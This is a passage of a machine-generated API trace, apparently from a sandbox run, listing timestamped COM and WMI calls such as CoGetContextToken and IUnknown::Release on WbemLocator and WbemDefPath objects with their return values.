pToken=0x1aa6f480) returned 0x0 [0117.459] WbemDefPath:IUnknown:Release (This=0x6567b0) returned 0x1 [0117.460] WbemDefPath:IUnknown:Release (This=0x6567b0) returned 0x0 [0117.460] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0117.460] WbemDefPath:IUnknown:Release (This=0x656270) returned 0x1 [0117.460] WbemDefPath:IUnknown:Release (This=0x656270) returned 0x0 [0117.460] CoGetContextToken (in: pToken=0x1aa6f580 | out: pToken=0x1aa6f580) returned 0x0 [0117.460] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0117.460] WbemLocator:IUnknown:Release (This=0x1b4d1b20) returned 0x1 [0117.460] WbemLocator:IUnknown:Release (This=0x1b4d1b20) returned 0x0 [0117.460] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0117.460] WbemLocator:IUnknown:Release (This=0x1b4d30e0) returned 0x1 [0117.460] WbemLocator:IUnknown:Release (This=0x1b4d30e0) returned 0x0 [0117.460] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0117.460] IUnknown:Release (This=0x1b4d7900) returned 0x1 [0117.460] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0117.460] WbemLocator:IUnknown:Release (This=0x1b4d2a40) returned 0x1 [0117.460] WbemLocator:IUnknown:Release (This=0x1b4d2a40) returned 0x0 [0117.460] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0117.460] WbemLocator:IUnknown:Release (This=0x1b510d58) returned 0x1 [0117.460] WbemLocator:IUnknown:Release (This=0x1b4e0620) returned 0x0 [0117.461] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0117.461] WbemLocator:IUnknown:Release (This=0x1b4d2980) returned 0x1 [0117.461] WbemLocator:IUnknown:Release (This=0x1b4d2980) returned 0x0 [0117.461] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0117.462] IUnknown:Release (This=0x1b4da240) returned 0x1 [0117.469] IUnknown:Release (This=0x1b4ad8d0) returned 0x0 [0117.469] IUnknown:Release (This=0x1b469f40) returned 0x0 [0117.469] IUnknown:Release (This=0x1b4d7590) returned 0x0 [0117.469] IUnknown:Release (This=0x1b4da5b0) returned 0x0 [0117.485] IUnknown:Release (This=0x5f4840) returned 0x0 [0117.486] IUnknown:Release (This=0x5f4590) returned 0x0 [0117.486] IUnknown:Release (This=0x1b4d9110) returned 0x0 [0117.486] IUnknown:Release (This=0x1b4d6eb0) returned 0x0 [0117.486] IUnknown:Release (This=0x1b4d9b60) returned 0x0 [0117.486] IUnknown:Release (This=0x1b4d7c70) returned 0x0 [0117.486] IUnknown:Release (This=0x1b4d7900) returned 0x0 [0119.535] CoGetContextToken (in: pToken=0x1aa6f580 | out: pToken=0x1aa6f580) returned 0x0 [0119.535] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0119.535] WbemLocator:IUnknown:Release (This=0x1b45cff0) returned 0x1 [0119.535] WbemLocator:IUnknown:Release (This=0x1b45cff0) returned 0x0 [0119.535] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0119.535] IUnknown:Release (This=0x1b4d7900) returned 0x1 [0119.535] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0119.536] WbemLocator:IUnknown:Release (This=0x1b4acf18) returned 0x1 [0119.536] WbemLocator:IUnknown:Release (This=0x1b4e0bc0) returned 0x0 [0119.536] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0119.536] WbemLocator:IUnknown:Release (This=0x1b4abbb0) returned 0x1 [0119.536] WbemLocator:IUnknown:Release (This=0x1b4abbb0) returned 0x0 [0119.536] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0119.536] WbemLocator:IUnknown:Release (This=0x1b5113d8) returned 0x1 [0119.536] WbemLocator:IUnknown:Release (This=0x1b4e0d70) returned 0x0 [0119.537] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0119.537] WbemLocator:IUnknown:Release (This=0x1b4abaf0) returned 0x1 [0119.537] WbemLocator:IUnknown:Release (This=0x1b4abaf0) returned 0x0 [0119.537] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0119.537] IUnknown:Release (This=0x1b4d9ed0) returned 0x1 [0119.537] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0119.537] WbemLocator:IUnknown:Release (This=0x1b511a58) returned 0x1 [0119.537] WbemLocator:IUnknown:Release (This=0x63be40) returned 0x0 [0119.538] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0119.538] WbemLocator:IUnknown:Release (This=0x1b4d1f20) returned 0x1 [0119.538] WbemLocator:IUnknown:Release (This=0x1b4d1f20) returned 0x0 [0119.538] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0119.538] WbemLocator:IUnknown:Release (This=0x1b511d98) returned 0x1 [0119.538] WbemLocator:IUnknown:Release (This=0x1b4e1550) returned 0x0 [0119.538] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0119.538] WbemLocator:IUnknown:Release (This=0x1b5101f8) returned 0x1 [0119.538] WbemLocator:IUnknown:Release (This=0x63c980) returned 0x0 [0119.539] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0119.539] WbemLocator:IUnknown:Release (This=0x1b4d19c0) returned 0x1 [0119.539] WbemLocator:IUnknown:Release (This=0x1b4d19c0) returned 0x0 [0119.539] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0119.539] IUnknown:Release (This=0x1b4d7fe0) returned 0x1 [0119.539] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0119.539] WbemLocator:IUnknown:Release (This=0x1b510398) returned 0x1 [0119.539] WbemLocator:IUnknown:Release (This=0x1b4e1040) returned 0x0 [0119.540] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0119.540] WbemLocator:IUnknown:Release (This=0x1b511718) returned 0x1 [0119.540] WbemLocator:IUnknown:Release (This=0x1b4e0470) returned 0x0 [0119.624] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0119.624] WbemLocator:IUnknown:Release (This=0x1b510878) returned 0x1 [0119.624] WbemLocator:IUnknown:Release (This=0x63bd20) returned 0x0 [0119.646] CoGetContextToken (in: pToken=0x1aa6f580 | out: pToken=0x1aa6f580) returned 0x0 [0119.646] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0119.646] WbemDefPath:IUnknown:Release (This=0x1b4af0a0) returned 0x1 [0119.646] WbemDefPath:IUnknown:Release (This=0x1b4af0a0) returned 0x0 [0119.647] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0119.647] WbemDefPath:IUnknown:Release (This=0x1b4b0a20) returned 0x1 [0119.647] WbemDefPath:IUnknown:Release (This=0x1b4b0a20) returned 0x0 [0119.647] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0119.647] WbemDefPath:IUnknown:Release (This=0x1b4afee0) returned 0x1 [0119.648] WbemDefPath:IUnknown:Release (This=0x1b4afee0) returned 0x0 [0119.648] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0119.648] WbemDefPath:IUnknown:Release (This=0x1b4af460) returned 0x1 [0119.648] WbemDefPath:IUnknown:Release (This=0x1b4af460) returned 0x0 [0119.648] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0119.649] WbemDefPath:IUnknown:Release (This=0x1b4aee60) returned 0x1 [0119.649] WbemDefPath:IUnknown:Release (This=0x1b4aee60) returned 0x0 [0119.649] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0119.649] WbemDefPath:IUnknown:Release (This=0x1b4afbe0) returned 0x1 [0119.649] WbemDefPath:IUnknown:Release (This=0x1b4afbe0) returned 0x0 [0119.649] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0119.650] WbemDefPath:IUnknown:Release (This=0x1b4af160) returned 0x1 [0119.650] WbemDefPath:IUnknown:Release (This=0x1b4af160) returned 0x0 [0119.650] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0119.650] WbemDefPath:IUnknown:Release (This=0x1b4af5e0) returned 0x1 [0119.650] WbemDefPath:IUnknown:Release (This=0x1b4af5e0) returned 0x0 [0119.651] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0119.651] WbemDefPath:IUnknown:Release (This=0x1b4af6a0) returned 0x1 [0119.651] WbemDefPath:IUnknown:Release (This=0x1b4af6a0) returned 0x0 [0119.651] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0119.651] WbemDefPath:IUnknown:Release (This=0x1b4b0720) returned 0x1 [0119.651] WbemDefPath:IUnknown:Release (This=0x1b4b0720) returned 0x0 [0119.652] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0119.652] WbemDefPath:IUnknown:Release (This=0x1b4afca0) returned 0x1 [0119.652] WbemDefPath:IUnknown:Release (This=0x1b4afca0) returned 0x0 [0119.652] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0119.652] WbemDefPath:IUnknown:Release (This=0x1b4aeda0) returned 0x1 [0119.653] WbemDefPath:IUnknown:Release (This=0x1b4aeda0) returned 0x0 [0119.653] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0119.653] WbemDefPath:IUnknown:Release (This=0x6569f0) returned 0x1 [0119.653] WbemDefPath:IUnknown:Release (This=0x6569f0) returned 0x0 [0119.654] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0119.654] WbemDefPath:IUnknown:Release (This=0x1b4aefe0) returned 0x1 [0119.654] WbemDefPath:IUnknown:Release (This=0x1b4aefe0) returned 0x0 [0119.654] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0119.654] WbemDefPath:IUnknown:Release (This=0x656870) returned 0x1 [0119.654] WbemDefPath:IUnknown:Release (This=0x656870) returned 0x0 [0119.654] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0119.654] WbemDefPath:IUnknown:Release (This=0x1b4b01e0) returned 0x1 [0119.654] WbemDefPath:IUnknown:Release (This=0x1b4b01e0) returned 0x0 [0119.654] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0119.654] WbemDefPath:IUnknown:Release (This=0x656db0) returned 0x1 [0119.654] WbemDefPath:IUnknown:Release (This=0x656db0) returned 0x0 [0119.654] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0119.655] WbemDefPath:IUnknown:Release (This=0x1b4af220) returned 0x1 [0119.655] WbemDefPath:IUnknown:Release (This=0x1b4af220) returned 0x0 [0119.655] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0119.655] WbemDefPath:IUnknown:Release (This=0x1b4af2e0) returned 0x1 [0119.655] WbemDefPath:IUnknown:Release (This=0x1b4af2e0) returned 0x0 [0119.655] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0119.655] WbemDefPath:IUnknown:Release (This=0x656630) returned 0x1 [0119.657] WbemDefPath:IUnknown:Release (This=0x656630) returned 0x0 [0119.657] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0119.657] WbemDefPath:IUnknown:Release (This=0x1b4af3a0) returned 0x1 [0119.657] WbemDefPath:IUnknown:Release (This=0x1b4af3a0) returned 0x0 [0119.657] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0119.657] WbemDefPath:IUnknown:Release (This=0x6563f0) returned 0x1 [0119.657] WbemDefPath:IUnknown:Release (This=0x6563f0) returned 0x0 [0119.657] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0119.657] WbemDefPath:IUnknown:Release (This=0x1b4b0660) returned 0x1 [0119.657] WbemDefPath:IUnknown:Release (This=0x1b4b0660) returned 0x0 [0119.657] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0119.657] WbemDefPath:IUnknown:Release (This=0x1b4b02a0) returned 0x1 [0119.657] WbemDefPath:IUnknown:Release (This=0x1b4b02a0) returned 0x0 [0119.657] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0119.657] WbemDefPath:IUnknown:Release (This=0x1b4af520) returned 0x1 [0119.657] WbemDefPath:IUnknown:Release (This=0x1b4af520) returned 0x0 [0119.657] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0119.658] WbemDefPath:IUnknown:Release (This=0x1b4afd60) returned 0x1 [0119.658] WbemDefPath:IUnknown:Release (This=0x1b4afd60) returned 0x0 [0119.658] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0119.658] WbemDefPath:IUnknown:Release (This=0x1b4b0060) returned 0x1 [0119.658] WbemDefPath:IUnknown:Release (This=0x1b4b0060) returned 0x0 [0119.658] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0119.658] WbemDefPath:IUnknown:Release (This=0x1b4b0120) returned 0x1 [0119.658] WbemDefPath:IUnknown:Release (This=0x1b4b0120) returned 0x0 [0119.658] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0119.658] WbemDefPath:IUnknown:Release (This=0x6570b0) returned 0x1 [0119.658] WbemDefPath:IUnknown:Release (This=0x6570b0) returned 0x0 [0119.658] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0119.658] WbemDefPath:IUnknown:Release (This=0x1b4b08a0) returned 0x1 [0119.658] WbemDefPath:IUnknown:Release (This=0x1b4b08a0) returned 0x0 [0119.658] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0119.658] WbemDefPath:IUnknown:Release (This=0x1b4afe20) returned 0x1 [0119.658] WbemDefPath:IUnknown:Release (This=0x1b4afe20) returned 0x0 [0119.658] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0119.658] WbemDefPath:IUnknown:Release (This=0x1b4aef20) returned 0x1 [0119.659] WbemDefPath:IUnknown:Release (This=0x1b4aef20) returned 0x0 [0119.659] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0119.659] WbemDefPath:IUnknown:Release (This=0x1b4affa0) returned 0x1 [0119.659] WbemDefPath:IUnknown:Release (This=0x1b4affa0) returned 0x0 [0119.659] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0119.659] WbemDefPath:IUnknown:Release (This=0x1b4af8e0) returned 0x1 [0119.659] WbemDefPath:IUnknown:Release (This=0x1b4af8e0) returned 0x0 [0119.659] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0119.659] WbemDefPath:IUnknown:Release (This=0x655430) returned 0x1 [0119.659] WbemDefPath:IUnknown:Release (This=0x655430) returned 0x0 [0119.659] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0119.659] WbemDefPath:IUnknown:Release (This=0x656b70) returned 0x1 [0119.659] WbemDefPath:IUnknown:Release (This=0x656b70) returned 0x0 [0119.659] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0119.659] WbemDefPath:IUnknown:Release (This=0x6558b0) returned 0x1 [0119.659] WbemDefPath:IUnknown:Release (This=0x6558b0) returned 0x0 [0119.659] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0119.659] WbemDefPath:IUnknown:Release (This=0x655970) returned 0x1 [0119.659] WbemDefPath:IUnknown:Release (This=0x655970) returned 0x0 [0119.697] IUnknown:Release (This=0x643ae0) returned 0x0 [0119.697] IUnknown:Release (This=0x1b452450) returned 0x0 [0119.697] IUnknown:Release (This=0x1b4da5b0) returned 0x0 [0119.697] IUnknown:Release (This=0x1b4d9b60) returned 0x0 [0119.697] IUnknown:Release (This=0x1b4d8a30) returned 0x0 [0119.698] IUnknown:Release (This=0x1b4d9480) returned 0x0 [0119.709] IUnknown:Release (This=0x1b4d7fe0) returned 0x0 [0119.714] IUnknown:Release (This=0x1b4da240) returned 0x0 [0119.714] IUnknown:Release (This=0x1b4d8da0) returned 0x0 [0119.714] IUnknown:Release (This=0x1b4d7900) returned 0x0 [0119.714] IUnknown:Release (This=0x1b4d7220) returned 0x0 [0119.714] IUnknown:Release (This=0x1b4521a0) returned 0x0 [0119.715] IUnknown:Release (This=0x1b4ad8d0) returned 0x0 [0119.715] IUnknown:Release (This=0x1b4d9110) returned 0x0 [0119.715] IUnknown:Release (This=0x1b4d7590) returned 0x0 [0119.715] IUnknown:Release (This=0x1b4d6b40) returned 0x0 [0119.722] IUnknown:Release (This=0x1b4d97f0) returned 0x0 [0119.722] IUnknown:Release (This=0x1b4d9ed0) returned 0x0 [0119.722] IUnknown:Release (This=0x1b469f40) returned 0x0 [0119.722] IUnknown:Release (This=0x1b4d12b0) returned 0x0 [0119.722] IUnknown:Release (This=0x1b4d6eb0) returned 0x0 [0119.723] IUnknown:Release (This=0x1b4d86c0) returned 0x0 [0119.723] IUnknown:Release (This=0x1b4d7c70) returned 0x0 [0119.723] IUnknown:Release (This=0x1b4d8350) returned 0x0 [0121.627] CoGetContextToken (in: pToken=0x1aa6f580 | out: pToken=0x1aa6f580) returned 0x0 [0121.627] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0121.627] IUnknown:Release (This=0x1b4d9110) returned 0x1 [0121.628] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0121.628] WbemLocator:IUnknown:Release (This=0x1b4d2c40) returned 0x1 [0121.628] WbemLocator:IUnknown:Release (This=0x1b4d2c40) returned 0x0 [0121.628] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0121.628] WbemLocator:IUnknown:Release (This=0x1b511718) returned 0x1 [0121.628] WbemLocator:IUnknown:Release (This=0x1b4ceb90) returned 0x0 [0121.628] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0121.628] WbemLocator:IUnknown:Release (This=0x1b45da70) returned 0x1 [0121.628] WbemLocator:IUnknown:Release (This=0x1b45da70) returned 0x0 [0121.628] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0121.628] IUnknown:Release (This=0x1b4d7590) returned 0x1 [0121.628] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0121.628] WbemLocator:IUnknown:Release (This=0x1b45d030) returned 0x1 [0121.629] WbemLocator:IUnknown:Release (This=0x1b45d030) returned 0x0 [0121.629] CoGetContextToken (in: pToken=0x1aa6f580 | out: pToken=0x1aa6f580) returned 0x0 [0121.629] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0121.629] WbemDefPath:IUnknown:Release (This=0x1b4afee0) returned 0x1 [0121.629] WbemDefPath:IUnknown:Release (This=0x1b4afee0) returned 0x0 [0121.629] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0121.629] WbemDefPath:IUnknown:Release (This=0x1b4b0ae0) returned 0x1 [0121.629] WbemDefPath:IUnknown:Release (This=0x1b4b0ae0) returned 0x0 [0121.629] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0121.629] WbemDefPath:IUnknown:Release (This=0x1b4aefe0) returned 0x1 [0121.629] WbemDefPath:IUnknown:Release (This=0x1b4aefe0) returned 0x0 [0121.629] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0121.629] WbemDefPath:IUnknown:Release (This=0x1b4b0060) returned 0x1 [0121.629] WbemDefPath:IUnknown:Release (This=0x1b4b0060) returned 0x0 [0121.629] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0121.629] WbemDefPath:IUnknown:Release (This=0x1b4b0a20) returned 0x1 [0121.629] WbemDefPath:IUnknown:Release (This=0x1b4b0a20) returned 0x0 [0121.629] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0121.629] WbemDefPath:IUnknown:Release (This=0x1b4aef20) returned 0x1 [0121.629] WbemDefPath:IUnknown:Release (This=0x1b4aef20) returned 0x0 [0121.629] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0121.629] WbemDefPath:IUnknown:Release (This=0x1b4aeda0) returned 0x1 [0121.629] WbemDefPath:IUnknown:Release (This=0x1b4aeda0) returned 0x0 [0121.629] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0121.629] WbemDefPath:IUnknown:Release (This=0x1b4b0720) returned 0x1 [0121.629] WbemDefPath:IUnknown:Release (This=0x1b4b0720) returned 0x0 [0121.629] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0121.629] WbemDefPath:IUnknown:Release (This=0x1b4af3a0) returned 0x1 [0121.630] WbemDefPath:IUnknown:Release (This=0x1b4af3a0) returned 0x0 [0121.630] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0121.630] WbemDefPath:IUnknown:Release (This=0x1b4b08a0) returned 0x1 [0121.630] WbemDefPath:IUnknown:Release (This=0x1b4b08a0) returned 0x0 [0121.630] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0121.630] WbemDefPath:IUnknown:Release (This=0x1b4af6a0) returned 0x1 [0121.630] WbemDefPath:IUnknown:Release (This=0x1b4af6a0) returned 0x0 [0121.630] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0121.630] WbemDefPath:IUnknown:Release (This=0x1b4b0660) returned 0x1 [0121.630] WbemDefPath:IUnknown:Release (This=0x1b4b0660) returned 0x0 [0121.630] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0121.630] WbemDefPath:IUnknown:Release (This=0x1b4af160) returned 0x1 [0121.630] WbemDefPath:IUnknown:Release (This=0x1b4af160) returned 0x0 [0121.655] IUnknown:Release (This=0x1b4521a0) returned 0x0 [0121.657] IUnknown:Release (This=0x1b4d12b0) returned 0x0 [0121.657] IUnknown:Release (This=0x1b4d7fe0) returned 0x0 [0121.657] IUnknown:Release (This=0x1b4d9ed0) returned 0x0 [0121.657] IUnknown:Release (This=0x1b4d6eb0) returned 0x0 [0121.657] IUnknown:Release (This=0x1b4d8350) returned 0x0 [0121.658] IUnknown:Release (This=0x1b4d9110) returned 0x0 [0121.658] IUnknown:Release (This=0x1b425ad0) returned 0x0 [0121.658] IUnknown:Release (This=0x1b469f40) returned 0x0 [0121.658] IUnknown:Release (This=0x1b4d97f0) returned 0x0 [0121.658] IUnknown:Release (This=0x1b4d7c70) returned 0x0 [0123.736] CoGetContextToken (in: pToken=0x1aa6f580 | out: pToken=0x1aa6f580) returned 0x0 [0123.736] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0123.736] WbemLocator:IUnknown:Release (This=0x1b48b1b0) returned 0x1 [0123.736] WbemLocator:IUnknown:Release (This=0x1b48b1b0) returned 0x0 [0123.736] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0123.736] WbemLocator:IUnknown:Release (This=0x1b511bf8) returned 0x1 [0123.736] WbemLocator:IUnknown:Release (This=0x1b4e0e00) returned 0x0 [0123.776] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0123.776] WbemLocator:IUnknown:Release (This=0x1b48b090) returned 0x1 [0123.776] WbemLocator:IUnknown:Release (This=0x1b48b090) returned 0x0 [0123.776] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0123.776] IUnknown:Release (This=0x1b4d6b40) returned 0x1 [0123.776] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0123.776] WbemLocator:IUnknown:Release (This=0x1b4d2c40) returned 0x1 [0123.776] WbemLocator:IUnknown:Release (This=0x1b4d2c40) returned 0x0 [0123.776] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0123.776] WbemLocator:IUnknown:Release (This=0x1b5106d8) returned 0x1 [0123.776] WbemLocator:IUnknown:Release (This=0x1b4cf6d0) returned 0x0 [0123.782] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0123.782] WbemLocator:IUnknown:Release (This=0x1b4d25c0) returned 0x1 [0123.782] WbemLocator:IUnknown:Release (This=0x1b4d25c0) returned 0x0 [0123.782] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0123.782] WbemLocator:IUnknown:Release (This=0x1b5118b8) returned 0x1 [0123.782] WbemLocator:IUnknown:Release (This=0x63c740) returned 0x0 [0123.784] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0123.784] IUnknown:Release (This=0x1b4da5b0) returned 0x1 [0123.784] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0123.784] WbemLocator:IUnknown:Release (This=0x1b5113d8) returned 0x1 [0123.784] WbemLocator:IUnknown:Release (This=0x1b4ce3b0) returned 0x0 [0123.789] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0123.789] WbemLocator:IUnknown:Release (This=0x1b4d19c0) returned 0x1 [0123.789] WbemLocator:IUnknown:Release (This=0x1b4d19c0) returned 0x0 [0123.789] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0123.789] WbemLocator:IUnknown:Release (This=0x1b510398) returned 0x1 [0123.789] WbemLocator:IUnknown:Release (This=0x1b4ce8c0) returned 0x0 [0123.793] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0123.793] WbemLocator:IUnknown:Release (This=0x1b4d30c0) returned 0x1 [0123.793] WbemLocator:IUnknown:Release (This=0x1b4d30c0) returned 0x0 [0123.793] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0123.793] WbemLocator:IUnknown:Release (This=0x1b511098) returned 0x1 [0123.794] WbemLocator:IUnknown:Release (This=0x1b4cea70) returned 0x0 [0123.797] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0123.797] WbemLocator:IUnknown:Release (This=0x1b510538) returned 0x1 [0123.797] WbemLocator:IUnknown:Release (This=0x1b4ce680) returned 0x0 [0123.798] CoGetContextToken (in: pToken=0x1aa6f580 | out: pToken=0x1aa6f580) returned 0x0 [0123.798] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0123.798] WbemDefPath:IUnknown:Release (This=0x1b4af9a0) returned 0x1 [0123.798] WbemDefPath:IUnknown:Release (This=0x1b4af9a0) returned 0x0 [0123.798] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0123.798] WbemDefPath:IUnknown:Release (This=0x1b4af760) returned 0x1 [0123.798] WbemDefPath:IUnknown:Release (This=0x1b4af760) returned 0x0 [0123.798] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0123.798] WbemDefPath:IUnknown:Release (This=0x1b4afb20) returned 0x1 [0123.798] WbemDefPath:IUnknown:Release (This=0x1b4afb20) returned 0x0 [0123.798] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0123.798] WbemDefPath:IUnknown:Release (This=0x1b4b0420) returned 0x1 [0123.798] WbemDefPath:IUnknown:Release (This=0x1b4b0420) returned 0x0 [0123.798] CoGetContextToken (in: pToken=0x1aa6f480 